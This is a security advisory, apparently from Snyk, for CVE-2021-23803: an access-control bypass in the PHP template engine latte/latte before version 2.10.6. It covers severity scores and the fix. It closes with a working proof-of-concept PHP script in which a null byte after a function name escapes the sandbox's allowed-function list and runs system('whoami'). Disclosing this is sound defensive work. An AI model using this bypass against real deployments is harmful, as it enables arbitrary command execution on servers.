Access Control Bypass Affecting latte/latte package, versions <2.10.6
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.33% (71st
percentile)
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Test your applications- Snyk ID SNYK-PHP-LATTELATTE-1932226
- published 9 Dec 2021
- disclosed 26 Nov 2021
- credit Jiang
Introduced: 26 Nov 2021
CVE-2021-23803 Open this link in a new tabHow to fix?
Upgrade latte/latte to version 2.10.6 or higher.
Overview
latte/latte is an intuitive and fast template engine for those who want the most secure PHP sites. Introduces context-sensitive escaping.
Affected versions of this package are vulnerable to Access Control Bypass. There is a way to bypass allowFunctions that will affect the security of the application. When the template is set to allow/disallow the use of certain functions, adding control characters (x00-x08) after the function will bypass these restrictions.
PoC
// The following PoC will execute the system function "whoami"
<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowFilters($policy::ALL);
$policy->allowMacros(['if','=']);
$policy->allowFunctions(['strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
file_put_contents('index.latte',"{=system\x00('whoami')}");
$latte->render('index.latte');